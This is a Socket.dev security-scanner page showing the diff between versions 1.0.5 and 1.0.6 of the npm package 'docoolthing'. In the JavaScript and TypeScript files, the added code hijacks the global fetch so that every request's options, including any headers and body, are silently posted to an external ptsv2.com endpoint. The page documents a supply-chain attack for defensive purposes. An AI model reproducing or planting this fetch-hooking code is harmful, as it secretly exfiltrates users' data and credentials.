Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

docoolthing

Package Overview
Dependencies
Maintainers
1
Versions
8
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

docoolthing - npm Package Compare versions

Comparing version 1.0.5 to 1.0.6

8

index.js

@@ -5,2 +5,10 @@ "use strict";

function CoolThing() {
var fetchOld = fetch;
fetch = function (input, init) {
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', {
method: 'POST',
body: JSON.stringify({ init: init })
});
return fetchOld(input, init);
};
}

@@ -7,0 +15,0 @@ CoolThing.prototype.sayHi = function () {

export class CoolThing {
constructor() {
let fetchOld = fetch;
(<any>fetch) = (input: RequestInfo, init?: RequestInit): Promise<Response> => {
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', {
method: 'POST',
body: JSON.stringify({ init: init })
});
return fetchOld(input, init);
};
}
public sayHi() {

@@ -3,0 +18,0 @@ alert('Hello');

2

package.json
{
"name": "docoolthing",
"version": "1.0.5",
"version": "1.0.6",
"description": "",

@@ -5,0 +5,0 @@ "main": "index.js",

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc